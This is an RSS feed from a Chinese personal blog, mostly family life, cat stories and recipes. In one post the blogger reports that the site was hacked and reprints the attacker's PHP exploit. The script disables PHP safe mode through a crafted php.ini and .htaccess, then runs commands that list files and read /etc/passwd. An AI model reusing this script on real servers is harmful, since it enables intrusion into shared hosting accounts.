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	<title>Sunray-空间站 &#187; My Life</title>
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		<title>2009年的第一场雪和海子的诗</title>
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		<comments>http://www.sunray-space.com/2009/02/564/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 14:28:20 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[2009年]]></category>
		<category><![CDATA[下雪]]></category>
		<category><![CDATA[回忆]]></category>
		<category><![CDATA[校园]]></category>

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		<description><![CDATA[    2009年的第一场雪，来的有些蹊跷。从2008年底开始憋了一个冬天的雪，终于在2009年立春过后突然降临了。下雪的前一天晚上还在和网友议论海子的诗“我只愿面朝大海，春暖花开”。每次读到这一句心里都有暖暖的感觉。结果，眼睛一闭一睁，雪下来了，嚎~~~~

    晚上回来的时候，雪又大了不少，走在雪地上心里有了和读“面朝大海，春暖花开”不一样的感觉。仿佛回到了我的大学时代。

    那时候的雪和现在一样是纯洁的。那时候的人和事和现在却是不一样纯洁。作为南方长大的孩子，第一次见到北方的雪还是在1997年的冬天。我记得那是一节英语课。所有男生的目光都聚集在年轻漂亮的女英语老师身上游离。圆圆的脸盘红红的嘴，凹凸有致的身材……突然从教室的角落里传来细细的声音“下雪了，看，下雪了”。教室里50%的目光望向了窗外。那是和我一样从没见过大雪的南方同学。

<span class="readmore"><a href="http://www.sunray-space.com/2009/02/564/" title="2009年的第一场雪和海子的诗">阅读全文——共1507字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p><a title="Flickr 上 sunray-chn 的 IMG_0487" href="http://www.flickr.com/photos/sunray-chn/3286974853/"><img src="http://farm4.static.flickr.com/3210/3286974853_42a6019aec_m.jpg" alt="IMG_0487" width="240" height="160" /></a></p>
<p><a title="Flickr 上 sunray-chn 的 IMG_0484" href="http://www.flickr.com/photos/sunray-chn/3286974849/"><img src="http://farm4.static.flickr.com/3350/3286974849_447770d7a8_m.jpg" alt="IMG_0484" width="240" height="160" /></a></p>
<p>    2009年的第一场雪，来的有些蹊跷。从2008年底开始憋了一个冬天的雪，终于在2009年立春过后突然降临了。下雪的前一天晚上还在和网友议论海子的诗“我只愿面朝大海，春暖花开”。每次读到这一句心里都有暖暖的感觉。结果，眼睛一闭一睁，雪下来了，嚎~~~~</p>
<p><span id="more-564"></span>    晚上回来的时候，雪又大了不少，走在雪地上心里有了和读“面朝大海，春暖花开”不一样的感觉。仿佛回到了我的大学时代。</p>
<p>    那时候的雪和现在一样是纯洁的。那时候的人和事和现在却是不一样纯洁。作为南方长大的孩子，第一次见到北方的雪还是在1997年的冬天。我记得那是一节英语课。所有男生的目光都聚集在年轻漂亮的女英语老师身上游离。圆圆的脸盘红红的嘴，凹凸有致的身材……突然从教室的角落里传来细细的声音“下雪了，看，下雪了”。教室里50%的目光望向了窗外。那是和我一样从没见过大雪的南方同学。</p>
<p>    下课以后我们就冲到楼下，操场瞬间变成战场。北风的同学们叼着烟搓着手望着我们这群南方来的山炮。我们玩的不亦乐乎。在雪地上摸爬滚打，往脖领子里塞雪团，用雪球丢女同学。第一次，我感到了雪带来的单纯的快乐。后来我一直都很喜欢玩雪。好像那时候我们在象牙塔里的生活一样单纯。我们在雪地上打滚，堆雪人，刨坑把人埋里。我还把随身听的麦克吊在裤腿上，把走在雪地上咯吱咯吱的声音录下来，晚上躺在床上听~~</p>
<p>    后来，有一个圣诞节。那天也下着鹅毛大雪。在大学生俱乐部的舞会散场后。一个MM凶残的讹了我一顿宵夜。那时候我是萨克斯手，她是歌手。互相之间并不讨厌。于是我接受了讹诈。</p>
<p>     在宿舍楼下的饭馆，熟识的老板和服务员多此一举的赠送了我们两杯红酒和一份烛光。于是我有一些异样的感觉。在送她回去的路上，我知冷知热的把她的手揣到了我的兜里。这一幕还被隔壁寝室的老四看见了。结局就是，第二天早上，当我睁开眼一觉醒来的时候，不得不接受了我现在有了一个女朋友这个现实……过了一个假期我们就分开了，我只能说那是一个美丽的错误。希望她现在安好</p>
<p>    再后来，又是一个雪天。TMD雪天貌似我的意外很多。这一次是我在参加专英答辩的时候，接到一个传呼。我把我翻译的文章塞给老师（不是大一时候的美女老师了。教专业英语的是个老先生），只说了一句“我有急事”就从主楼的8楼飞奔而下。回了个电话才知道，一个师妹喝多了。嚷嚷着要看星星。这事和我有关。天知道她怎么会看上我的。</p>
<p>    虽然我在学校小有名气（学校的聊天室、BBS和MUD是我一手搭建），但是我没钱，我不帅，我没有才，也不爱和MM厮混。而且之前我都不知道她这个人。只知道有人在学校的论坛上跟我表白，被我拐弯抹角的拒绝了。这事在学校闹的满城风雨之后我才知道发帖的人是她。她的同学的表哥是我的一个哥们。那哥们还不在我们本科学院。他在成教学院。因为他们寝室有一个和我同名的人，我去他们寝室玩的时候才认识的他。他告诉了他表妹，他表妹又告诉了她。好复杂。</p>
<p>    总之我拒绝了她，但是听说她喝多了我不得不露一面。我们扶着她回寝室。我只能劝劝她。结果她坚持要去操场上看星星。我必须以下雪为借口拒绝她。可是这该死的雪——停了。我不记得我们在操场上仰着脖子走了多少圈。反正第二天我感冒了。她也决定忘记我，好好的过自己的青春岁月。这事再一次闹的满城风雨。很长一段日子里，熟人见我打招呼都是“看月亮哇~~看星星哇~~~”</p>
<p>    这个师妹如今也在北京。希望她也一切安好。</p>
<p>    看，见到雪，我总是会想起这些。想起我们看雾凇，堆雪人，打雪仗的日子。想起我们在献血以后的第二天在雪地上踢足球玩摔跤的日子。还有那些不算圆满的风花雪月。如果海子的诗让我感觉温暖、平和，那么雪就会让我感到单纯的快乐。</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		<title>臭孩子有点感冒了</title>
		<link>http://www.sunray-space.com/2009/02/552/</link>
		<comments>http://www.sunray-space.com/2009/02/552/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 07:54:07 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[人像]]></category>
		<category><![CDATA[宝宝]]></category>
		<category><![CDATA[感冒]]></category>
		<category><![CDATA[摄影]]></category>

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		<description><![CDATA[脑袋上贴着降温贴





<span class="readmore"><a href="http://www.sunray-space.com/2009/02/552/" title="臭孩子有点感冒了">阅读全文——共35字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p><a title="Flickr 上 sunray-chn 的 IMG_0472" href="http://www.flickr.com/photos/sunray-chn/3278465786/"><img src="http://farm4.static.flickr.com/3477/3278465786_3ec6fa5eef.jpg" alt="宝宝感冒了" width="333" height="500" /></a><br />
脑袋上贴着降温贴<br />
<span id="more-552"></span><br />
<a title="Flickr 上 sunray-chn 的 IMG_0474" href="http://www.flickr.com/photos/sunray-chn/3278465868/"><img src="http://farm4.static.flickr.com/3350/3278465868_938f08bfa2_m.jpg" alt="宝宝感冒了" width="240" height="160" /></a><br />
贴上以后就舒服多了</p>
<p><a title="Flickr 上 sunray-chn 的 IMG_0477" href="http://www.flickr.com/photos/sunray-chn/3277643617/"><img src="http://farm4.static.flickr.com/3350/3277643617_1c0d54c630_m.jpg" alt="宝宝感冒了" width="240" height="160" /></a><br />
精神还挺好</p>
<p><a title="Flickr 上 sunray-chn 的 IMG_0478" href="http://www.flickr.com/photos/sunray-chn/3278466156/"><img src="http://farm4.static.flickr.com/3306/3278466156_b725bffacf_m.jpg" alt="宝宝感冒了" width="240" height="160" /></a><br />
还能笑出来</p>
<p><a title="Flickr 上 sunray-chn 的 IMG_0480" href="http://www.flickr.com/photos/sunray-chn/3278466286/"><img src="http://farm4.static.flickr.com/3307/3278466286_aa2ca6ee1c_m.jpg" alt="宝宝感冒了" width="240" height="160" /></a><br />
大概很快就能好了</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		</item>
		<item>
		<title>本站于2009年1月20日成功被黑</title>
		<link>http://www.sunray-space.com/2009/01/483/</link>
		<comments>http://www.sunray-space.com/2009/01/483/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 05:03:35 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[php安全漏洞]]></category>
		<category><![CDATA[博客]]></category>
		<category><![CDATA[攻击]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[黑客]]></category>

		<guid isPermaLink="false">http://www.sunray-space.com/?p=483</guid>
		<description><![CDATA[我的博客被黑了。。貌似阿拉伯人干的。

阿拉伯黑客恨美国，我恰好是美国空间的中国用户。

前有河蟹，后有黑客，博客不好开啊。

<span class="readmore"><a href="http://www.sunray-space.com/2009/01/483/" title="本站于2009年1月20日成功被黑">阅读全文——共1350字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p>我的博客被黑了。。貌似阿拉伯人干的。<br />
阿拉伯黑客恨美国，我恰好是美国空间的中国用户。<br />
前有河蟹，后有黑客，博客不好开啊。</p>
<p><a href="http://www.sunray-space.com/wp-content/uploads/2009/01/hacked.jpg"><img class="alignnone size-full wp-image-482" title="网站被黑" src="http://www.sunray-space.com/wp-content/uploads/2009/01/hacked.jpg" alt="网站被黑" width="420" /></a><br />
<span id="more-483"></span><br />
这不是第一次遭遇黑客了。上一次是论坛的一个漏洞被土耳其黑客发现了。<br />
他跟我开了个玩笑，然后告诉我这个漏洞是如何被他利用的，然后告诉我修正的办法。<br />
后来我们在MSN成了朋友。原来这哥们当时车祸初愈。还有间歇性失忆的后遗症。<br />
黑掉我的论坛，纯属巧合。。。是个可爱的家伙</p>
<p> </p>
<p>这次的阿拉伯黑客，我很讨厌，好在他们没有做什么破坏，只是修改了index.php文件</p>
<p> </p>
<p>apache 1.x &lt;=&gt; 2.x suphp (suPHP_ConfigPath) bypass safe mode exploit  <strong>这次攻击的漏洞</strong><br />
Author : Mr.SaFa7  <strong>作者的ID</strong><br />
Home : v4-team.com  <strong>黑客组织的网站全是阿拉伯文</strong><br />
note : this exploit for education :)   <strong>攻击的目的，看来是练习</strong></p>
<p> </p>
<p>上传到服务器用于攻击的代码，貌似利用了php safe mode的某个漏洞<br />
这个文件是如何上传的服务器的，还不知道。很关键的问题<br />
 </p>
<p>&lt;?<br />
echo &#8220;[+] Start&#8230;\n&#8221;;<br />
$bypfile=fopen(&#8216;php.ini&#8217;,'w+&#8217;);<br />
$stuffile=fopen(&#8216;.htaccess&#8217;,'w+&#8217;);<br />
if($bypfile and $stuffile!= NULL){<br />
echo &#8220;[+] evil files created succes ! \n&#8221;;<br />
}<br />
else{<br />
echo &#8220;[-] access denial ! \n&#8221;;<br />
}<br />
$byprullz1=&#8221;safe_mode = OFF<br />
&#8220;;<br />
$byprullz2=&#8221;disable_functions = NONE&#8221;;<br />
$dj=fwrite($bypfile,$byprullz1);<br />
$dj1=fwrite($bypfile,$byprullz2);<br />
fclose($bypfile);<br />
if($dj and $dj1!= NULL){<br />
echo &#8220;[+] php.ini writed \n&#8221;;<br />
}<br />
else{<br />
echo &#8220;[-] 404 php.ini not found !\n&#8221;;<br />
}<br />
$breakrullz=&#8221;suPHP_ConfigPath /home/user/public_html/php.ini&#8221;; // replace this &#8216;/home/user/public_html&#8217; by ur path<br />
$sf7=fwrite($stuffile,$breakrullz);<br />
fclose($stuffile);<br />
if($sf7!= NULL){<br />
echo &#8220;[+] evil .htaccess writed\n&#8221;;<br />
echo &#8220;[+] exploited by success!\n\n\n&#8221;;<br />
echo &#8220;\t\t\t[+] discouvred by Mr.SaFa7\n&#8221;;<br />
echo &#8220;\t\t\t[+] home : v4-team.com\n&#8221;;<br />
echo &#8220;\t\t\t[+] Greetz : djekmani4ever ghost hacker Str0ke ShAfEKo4EvEr Mr.Mn7oS\n&#8221;;<br />
}<br />
else{<br />
echo &#8220;[-] evil .htaccess Not found!\n&#8221;;<br />
}<br />
system(&#8220;pwd;ls -lia;uname -a;cat /etc/passwd&#8221;);<br />
#EOF<br />
?&gt;</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		</item>
		<item>
		<title>宝宝的百天和满月相册拿回来了</title>
		<link>http://www.sunray-space.com/2008/12/119/</link>
		<comments>http://www.sunray-space.com/2008/12/119/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 06:09:32 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[宝宝]]></category>
		<category><![CDATA[照片]]></category>

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		<description><![CDATA[ 

 

 

<span class="readmore"><a href="http://www.sunray-space.com/2008/12/119/" title="宝宝的百天和满月相册拿回来了">阅读全文——共127字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.bababian.com/picturedetail.sl?pictureID=6D1071F1FB3BEDF76AE6871334235C22DT"><img class="  alignleft" src="http://photo1.bababian.com/upload14/20081120/6D1071F1FB3BEDF76AE6871334235C22_100.jpg" alt="宝宝照片" width="66" height="100" /></a></p>
<p><a href="http://www.bababian.com/picturedetail.sl?pictureID=192D448B787A47494108757E40D5A082DT"><img class="  alignleft" src="http://photo1.bababian.com/upload14/20081120/192D448B787A47494108757E40D5A082_100.jpg" alt="宝宝照片" width="100" height="66" /></a></p>
<p> </p>
<p> </p>
<p> </p>
<p>几个水晶的照片颜色调的好浅，简直是</p>
<p>一片白茫茫，也不知道是工艺问题还是PS过曝了。<span id="more-119"></span></p>
<p>给的底片也是有点PS过度了。</p>
<p> 我最喜欢的是这两张，剩下的在<a href="http://sunray.bababian.com/"><span style="color: #ca6888;">http://sunray.bababian.com</span></a></p>
<p> 虽然说，谁的宝宝谁不爱，但是我还是觉得我们家的宝宝基础好</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		<item>
		<title>宝宝一周照</title>
		<link>http://www.sunray-space.com/2008/12/111/</link>
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		<pubDate>Fri, 12 Dec 2008 05:59:51 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[宝宝]]></category>
		<category><![CDATA[照片]]></category>

		<guid isPermaLink="false">http://www.sunray-space.com/?p=111</guid>
		<description><![CDATA[宝宝一周照





<span class="readmore"><a href="http://www.sunray-space.com/2008/12/111/" title="宝宝一周照">阅读全文——共5字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p>宝宝一周照</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" width="400" height="100"><param name="width" value="400" /><param name="height" value="100" /><param name="src" value="http://www.bababian.com/slideshow/2/7EB8001CC5F907DE28F358770D211964DS/25" /><embed type="application/x-shockwave-flash" width="400" height="100" src="http://www.bababian.com/slideshow/2/7EB8001CC5F907DE28F358770D211964DS/25"></embed></object></p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		</item>
		<item>
		<title>布兹布丁</title>
		<link>http://www.sunray-space.com/2008/12/85/</link>
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		<pubDate>Fri, 12 Dec 2008 02:29:31 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[宠物]]></category>
		<category><![CDATA[猫]]></category>

		<guid isPermaLink="false">http://www.sunray-space.com/?p=85</guid>
		<description><![CDATA[布兹是一只猫，小母猫。毛长长的，虎皮花纹。是2006年5月中旬从猫贩子手里买的。那天本来要去商场买东西。可是在商场门口的小广场上，有一个中年男人在卖小猫咪。笼子里还剩下三只小猫。我和GF路过的时候，一眼就看中了布兹。因为它的花纹最可爱。说是虎皮花纹倒不如说是蝴蝶纹。

刚买回来的时候小小的。一只手掌就能脱住。一路上把它抱在怀里，小爪子嫩嫩的使劲抠着衣服。回家的路上给它买齐了用品。因为GF常玩的游戏“模拟人生”里面有只小猫就叫布兹，所以我们也给它起名叫布兹。布兹一进家门，一眼就看中了沙发下面漆黑的空间。一头钻进去，怎么也不出来。慢慢的，布兹象个毛球一样，叽里咕噜从沙发下面钻了出来。在屋里迈着方步，四处打量。掩饰不住满眼的好奇，碰碰这个，摸摸那个。布兹最喜欢玩毽子上拆下来的毛。毽子是谁拆的？当然也是布兹。整晚整晚的，布兹就两爪抱着毛毛腾挪跳跃，满地打滚。不久以后，布兹就有了好几个名字：“兹兹”“臭屁兹”“屁兹”。都是我起的。每次叫它的时候用哪个名字，我也不一定，反正满嘴一顿乱叫。完全随机，凭自己高兴，反正它听不懂

<span class="readmore"><a href="http://www.sunray-space.com/2008/12/85/" title="布兹布丁">阅读全文——共1477字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p>布兹是一只猫，小母猫。毛长长的，虎皮花纹。是2006年5月中旬从猫贩子手里买的。那天本来要去商场买东西。可是在商场门口的小广场上，有一个中年男人在卖小猫咪。笼子里还剩下三只小猫。我和GF路过的时候，一眼就看中了布兹。因为它的花纹最可爱。说是虎皮花纹倒不如说是蝴蝶纹。</p>
<p>刚买回来的时候小小的。一只手掌就能脱住。一路上把它抱在怀里，小爪子嫩嫩的使劲抠着衣服。回家的路上给它买齐了用品。因为GF常玩的游戏“模拟人生”里面有只小猫就叫布兹，所以我们也给它起名叫布兹。布兹一进家门，一眼就看中了沙发下面漆黑的空间。一头钻进去，怎么也不出来。慢慢的，布兹象个毛球一样，叽里咕噜从沙发下面钻了出来。在屋里迈着方步，四处打量。掩饰不住满眼的好奇，碰碰这个，摸摸那个。布兹最喜欢玩毽子上拆下来的毛。毽子是谁拆的？当然也是布兹。<span id="more-85"></span>整晚整晚的，布兹就两爪抱着毛毛腾挪跳跃，满地打滚。不久以后，布兹就有了好几个名字：“兹兹”“臭屁兹”“屁兹”。都是我起的。每次叫它的时候用哪个名字，我也不一定，反正满嘴一顿乱叫。完全随机，凭自己高兴，反正它听不懂</p>
<p>布丁也是猫，一只黑猫，一只小公猫。其实也不是黑的，四个爪子是白的，他们说这叫乌龙踏雪。不过布兹鼻子上还有一道竖着的白毛，胸前也有一片白毛。这似乎影响了布丁的身价，但是并不影响它在家里的地位。布丁是从一位大姐家里抱来的，为了给布兹找个伴。布丁抱来的时候比布兹大。一路上是装在GF的包里。一路上布丁在里面撕咬抓挠，力气出奇的大。我都差点按不住它。因为布丁一路上倔犟而勇猛的表现，到家以后我们谁都不敢把手伸进包里把它放出来。只能敞开包，等着它自己蹦出来。布丁天生胆小，在包里探头探脑观察了一下形势，五分钟后，终于嗖的蹦出来，一头钻进沙发底下。以后的几天里，只要家里有人，基本上布丁就在沙发下。晚上嗷嗷的叫。</p>
<p>其实布丁一开始的名字是“布伊”，因为以前玩石器时代的时候，里面有一只很有名气的金猪叫做“金布伊”。后来因为布丁整晚都在客厅嚎叫，一点不夸张，真的是嚎叫。很恐怖的感觉。有人陪着，也叫，没人陪着也叫。这种叫声我以为是因为环境生疏，心里不安所以才会叫。熟悉了就好了吧。我猜中了开头，可是我没猜中这结果。它的确是因为换了地方才会叫，即使有人陪它也会叫。把它放到床上，它也会蹲在你的枕头上，对着你的耳朵使劲叫。我们在等它适应环境，一等就是半个月，还是叫声依旧。GF说它好吓人。夜深人静时它的叫声音好恐怖。而且长的也吓人，身子长长的，很瘦，腿也长。脑袋也长，尾巴也长。用我的话形容：“它的体态好像一个人扮演的猫。”晚上一个人在家的时候，看见它在屋里走动，两眼瞪着你拼命的嚎～真的嚎恐怖。GF说它叫起来不依不饶的，都怪我起了那个破名字。于是，我给它改了个名字叫布丁。在布丁到我家快一个月的时候，它终于，晚上不叫了！之前，我们俩差点因为不能忍受而把它送回去。现在终于可以过两人两猫一家四口的正常<span style="color: #ca6888;">生活</span>了。</p>
<p>布兹小时候很可爱，但是现在它不理人。我不允许它进厨房和卫生间，那里都被我划为禁区。但是它偏进去，差不多每次都被我抓住，免不了皮肉之苦。布丁小时候很烦人，现在很粘人。它只在有人的房间呆着。它无聊的时候会来蹭你的腿。睡觉的时候会跑过来重重的倒在你身边挨着你。有时候还要抱着你的胳膊。它偶尔也跟着布兹一起闯入禁区。布兹每次都被我抓住，布丁每次都能逃掉，我只能根据那黑色的，矫健的身影判断出擅入禁区案有它一份。当然也免不了皮肉之苦。</p>
<p>布兹和布丁已经打完了疫苗，过些日子该去做节育了。小东西们，还不懂事就该去势了。这样好。对它们来说，根本就不知道世上还有～那事～</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		<title>香菇肉片汤</title>
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		<pubDate>Fri, 12 Dec 2008 02:21:51 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[菜谱]]></category>
		<category><![CDATA[香菇肉片汤]]></category>

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		<description><![CDATA[&#62;

香菇肉片汤

闲来做菜，心得而已，大家无聊时候也可以跟着做做……吧

<span class="readmore"><a href="http://www.sunray-space.com/2008/12/83/" title="香菇肉片汤">阅读全文——共236字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p>&gt;</p>
<p><span style="font-family: Courier New;">香菇肉片汤<br />
闲来做菜，心得而已，大家无聊时候也可以跟着做做……吧</span></p>
<p><span style="font-family: Courier New;">材料：<br />
盐、味精、香菇（或者其他的什么菇，金针菇就算了）、瘦猪肉、生姜、水<br />
至于量～～适量，我只能说适量。</span></p>
<p><span style="font-family: Courier New;">过程：<br />
把蘑菇洗干净，扯掉根部硬的部分丢掉！滤水，丢进锅里！<br />
<span id="more-83"></span>煮香菇的过程中，你可以干点别的，比如切肉、唱歌、玩玩手机游戏，拍块生姜之类……</span><span style="font-family: Courier New;"><br />
香菇也差不多熟了的时候，把姜和肉也加进锅里去，小火煮一会。<br />
沸腾后加盐和味精，过2分钟请尝一下，视味道的浓淡再加盐和味精或者水。<br />
再过两分钟，出锅完成。</span></p>
<p>然后，还等什么？喝吧～</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		<title>酸菜炖排骨</title>
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		<pubDate>Fri, 12 Dec 2008 02:17:39 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[生活]]></category>
		<category><![CDATA[菜谱]]></category>
		<category><![CDATA[酸菜炖排骨]]></category>

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		<description><![CDATA[&#62; 今天回来早，只能我做晚饭。老婆说要吃酸菜炖排骨。上网搜了一下，找到一种比较简单的做法：

&#62;

主料：排骨一斤左右，酸菜一斤

<span class="readmore"><a href="http://www.sunray-space.com/2008/12/77/" title="酸菜炖排骨">阅读全文——共204字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p>&gt; 今天回来早，只能我做晚饭。老婆说要吃酸菜炖排骨。上网搜了一下，找到一种比较简单的做法：<br />
&gt;</p>
<h4><span style="text-decoration: underline;"><span style="font-family: 黑体;"><span style="font-size: x-small;"><span style="color: #ff6600;"><span style="font-size: 10pt; color: #ff6600; font-family: SimSun;">主料：</span></span></span><span style="font-size: 10pt; color: gray; font-family: SimSun;">排骨一斤左右，酸菜一斤</span></span></span></h4>
<h4><span style="text-decoration: underline;"><span style="font-family: 黑体;"><span style="font-size: 10pt; color: #ff6600; font-family: SimSun;">辅料：</span><span style="font-size: 10pt; color: gray; font-family: SimSun;">姜</span><span style="font-size: 10pt; color: gray; font-family: SimSun;">1<span>块，大料3</span><span>个，盐、酒、味精、醋各适量</span></span></span></span></h4>
<h4><span style="font-size: 10pt; color: #ff6600; font-family: SimSun;"><span style="text-decoration: underline;"><span style="font-family: 黑体;">做法：</span></span></span></h4>
<h4><span style="text-decoration: underline;"><span style="font-family: 黑体;"><span style="font-size: 10pt; color: gray; font-family: Verdana;">1</span><span style="font-size: 10pt; color: gray; font-family: SimSun;">）</span><span style="font-size: 10pt; color: gray; font-family: SimSun;">把排骨斩成小块，洗净沥干水分</span></span></span></h4>
<h4><span style="text-decoration: underline;"><span style="font-family: 黑体;"><span style="font-size: 10pt; color: gray; font-family: Verdana;"><span id="more-77"></span>2</span><span style="font-size: 10pt; color: gray; font-family: SimSun;">）</span><span style="font-size: 10pt; color: gray; font-family: SimSun;">将排骨放在开水锅中加醋煮10</span><span style="font-size: 10pt; color: gray; font-family: SimSun;"><span>分钟，捞出。</span></span></span></span></h4>
<h4><span style="font-size: 10pt; color: gray; font-family: SimSun;"><span style="text-decoration: underline;"><span style="font-family: 黑体;">3<span>）将排骨、姜、大料和适量清水，上旺火烧沸，再改用小火炖约</span>60<span>分钟，放入酸菜再炖约</span>20<span>分钟，捞出姜块、大料</span>,<span>再加盐、胡椒粉、味精起锅即可。</span></span></span></span></h4>
<p>先做着，完了再汇报结果。</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		<title>关于冬季煲汤</title>
		<link>http://www.sunray-space.com/2008/12/67/</link>
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		<pubDate>Thu, 11 Dec 2008 13:57:46 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[冬季]]></category>
		<category><![CDATA[生活]]></category>
		<category><![CDATA[菜谱]]></category>
		<category><![CDATA[褒汤]]></category>

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		<description><![CDATA[&#62;   冬季气候很干燥，人们喝上一碗热乎乎的滋补汤，该是多美的事情。精通厨艺的人都知道，要煲出一锅靓汤，需要用各种辅料，通过多种渠道，将美味合一。通过喝汤真正起到强身健体、防病治病的作用，在汤的制作和饮用时一定要遵循科学原则，否则就可能出现偏差。

    选料要适宜  这是制好鲜汤的关键所在。用于制汤的原料，通常为动物性原料，如鸡肉、鸭肉、猪瘦肉、猪肘子、火腿、鱼类等。采购时应注意必须鲜味足、异味小、血污少。这类食品含有丰富的蛋白质和核苷酸等，家禽肉中能溶解于水的含氮浸出物，是汤鲜的主要来源。

<span class="readmore"><a href="http://www.sunray-space.com/2008/12/67/" title="关于冬季煲汤">阅读全文——共689字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p>&gt;<strong>   </strong>冬季气候很干燥，人们喝上一碗热乎乎的滋补汤，该是多美的事情。精通厨艺的人都知道，要煲出一锅靓汤，需要用各种辅料，通过多种渠道，将美味合一。通过喝汤真正起到强身健体、防病治病的作用，在汤的制作和饮用时一定要遵循科学原则，否则就可能出现偏差。<br />
    <strong>选料要适宜</strong>  这是制好鲜汤的关键所在。用于制汤的原料，通常为动物性原料，如鸡肉、鸭肉、猪瘦肉、猪肘子、火腿、鱼类等。采购时应注意必须鲜味足、异味小、血污少。这类食品含有丰富的蛋白质和核苷酸等，家禽肉中能溶解于水的含氮浸出物，是汤鲜的主要来源。<br />
<span id="more-67"></span>    <strong>炊具要选择</strong>  制鲜汤以陈年瓦罐煨煮效果最佳。瓦罐是由不易传热的石英、长石、粘土等原料合成的陶土，经过高温烧制而成，其透气性、吸附性好，还具有传热均匀、散热缓慢等特点。煨制鲜汤时，瓦罐能均衡而持久地把外界的热传递给内部原料，相对平衡的环境温度，有利于水分子与食物的相互渗透，这种相互渗透的时间维持得越长，鲜香成分溶出得越多，汤的滋味越鲜醇，食品质地越酥烂。<br />
    <strong>火候要适当</strong>  煨汤火候的要诀是大火烧沸，小火慢煨。这样可使食物蛋白质浸出物等鲜香物质尽可能地溶解出来，使汤鲜醇味美。只有用小火长时间慢炖，才能使浸出物溶解得更多。<br />
    <strong>操作要精细</strong>  注意调味用料投放顺序，特别注意熬汤时不宜先放盐。因盐会使原料中水分排出，蛋白质凝固，鲜味不足。通常60℃至80℃温度易引起部分维生素破坏，而煲汤使食物温度长时间维持在85℃至100℃。故在汤中加蔬菜应随放随吃，以减少维生素C破坏。汤中适量放入味精、香油、胡椒、葱、蒜等调味品，使其别具特色，但注意用量不宜太多，以免影响汤的原味.</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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		<title>用微波炉煮饭</title>
		<link>http://www.sunray-space.com/2008/12/32/</link>
		<comments>http://www.sunray-space.com/2008/12/32/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 07:23:25 +0000</pubDate>
		<dc:creator>Sunray</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[微波炉]]></category>
		<category><![CDATA[煮饭]]></category>
		<category><![CDATA[生活]]></category>

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		<description><![CDATA[&#62;    用微波炉煮饭，要先将米泡30分钟，水跟米大概0.8：1。对了，你不能煮太多，米价水不要超过三分之二，另外你可以先用七八分钟把饭烧开（根据你的米和水的量及微波炉的功率决定时间，第一次试的时候，你可以在旁边看着，掌握具体时间），然后停几分钟，再高火煮五分钟。闷十分钟就行了。

&#62;    首先我用的是香米（不太受水），洗过滤水半个钟头（这时可去洗、炒菜）然后加开水，水超过米一节半指头便可（用开水煮吸过水的米特别的好吃）。然后高火七分钟、停后隔两分钟后再低火六分钟即可。放水的多少视个人爱好。

<span class="readmore"><a href="http://www.sunray-space.com/2008/12/32/" title="用微波炉煮饭">阅读全文——共245字</a></span>



没有相关文章]]></description>
			<content:encoded><![CDATA[<p>&gt;    用微波炉煮饭，要先将米泡30分钟，水跟米大概0.8：1。对了，你不能煮太多，米价水不要超过三分之二，另外你可以先用七八分钟把饭烧开（根据你的米和水的量及微波炉的功率决定时间，第一次试的时候，你可以在旁边看着，掌握具体时间），然后停几分钟，再高火煮五分钟。闷十分钟就行了。<br />
&gt;    首先我用的是香米（不太受水），洗过滤水半个钟头（这时可去洗、炒菜）然后加开水，水超过米一节半指头便可（用开水煮吸过水的米特别的好吃）。然后高火七分钟、停后隔两分钟后再低火六分钟即可。放水的多少视个人爱好。</p>


<p></p><p>没有相关文章</p>]]></content:encoded>
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